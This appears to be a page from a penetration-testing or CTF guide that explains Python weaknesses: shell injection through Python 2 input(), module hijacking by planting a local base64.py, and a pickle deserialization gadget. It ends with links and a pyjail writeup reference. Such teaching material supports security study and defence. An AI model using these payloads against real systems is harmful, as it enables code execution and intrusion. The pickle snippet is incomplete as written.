Python

Python is a language powering an extraordinary number of applications, but here we're just going to focus on very common coding errors you're likely to find. These can be useful in cases of both web applications as well as local and exploiting any of these is incredibly context specific.

python2 input

In python 2, the input function worked in an interesting manner. It queried for user input, executed the input given to it directly, allowing us to, for example, have an integer returned directly from the result of the function. However, this also allowed any arbitrary code to be injected. In cases where you have a python 2 style input mechanism, simply write the following:

__import__('os').system('/bin/bash')

In python 3 this was removed, and raw_input from python 2 replaced it.

Module Overwrite

Consider the following program:

import base64
print base64.b64decode('VW5pY29ybidzIGFyZSBraWNrIGFzcyE=')

Running it will output a base64 decoded string:

root@kali:~/pyexample# python example.py
Unicorn's are kick ass!

Let's create a file called base64.py in the same folder and include within it the following:

def b64decode(oldinput):
    return 'Welcome to my Evil Function!'

Now we get a very different output:

root@kali:~/pyexample# ls
base64.py  base64.pyc  example.py
root@kali:~/pyexample# python example.py
Welcome to my Evil Function!

In module importing, the interpreter will first check the local directory before checking the installed modules. Consequently, it is more than possible to take over a python scripts execution, even if we don't have write-access to it.

A good reference for how these things work is this Stackoverflow post.

Pickle Deserialization

During pickle deserialization, it is possible to create a situation where arbitrary code is executed. This is because the reduce method defines how the object itself is de-serialized, and so will be executed when pickle.loads is called.

import subprocess
class BadPickle(object):
    def __reduce__(self):
        return (subprocess.check_output, (chars,))

print cPickle.dumps(BadPickle())

Further Reading
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://sensepost.com/blog/2010/playing-with-python-pickle-%231/
https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html

CTF Writeups

These are a collection of CTF writeups that may prove helpful if you find yourself against a Python Jail or environment. Since it's such a popular language a python jail, such as lshell, can be a surprisingly common vulnerability.

PlaidCTF - Pyjail with character restrictions

results matching ""

    No results matching ""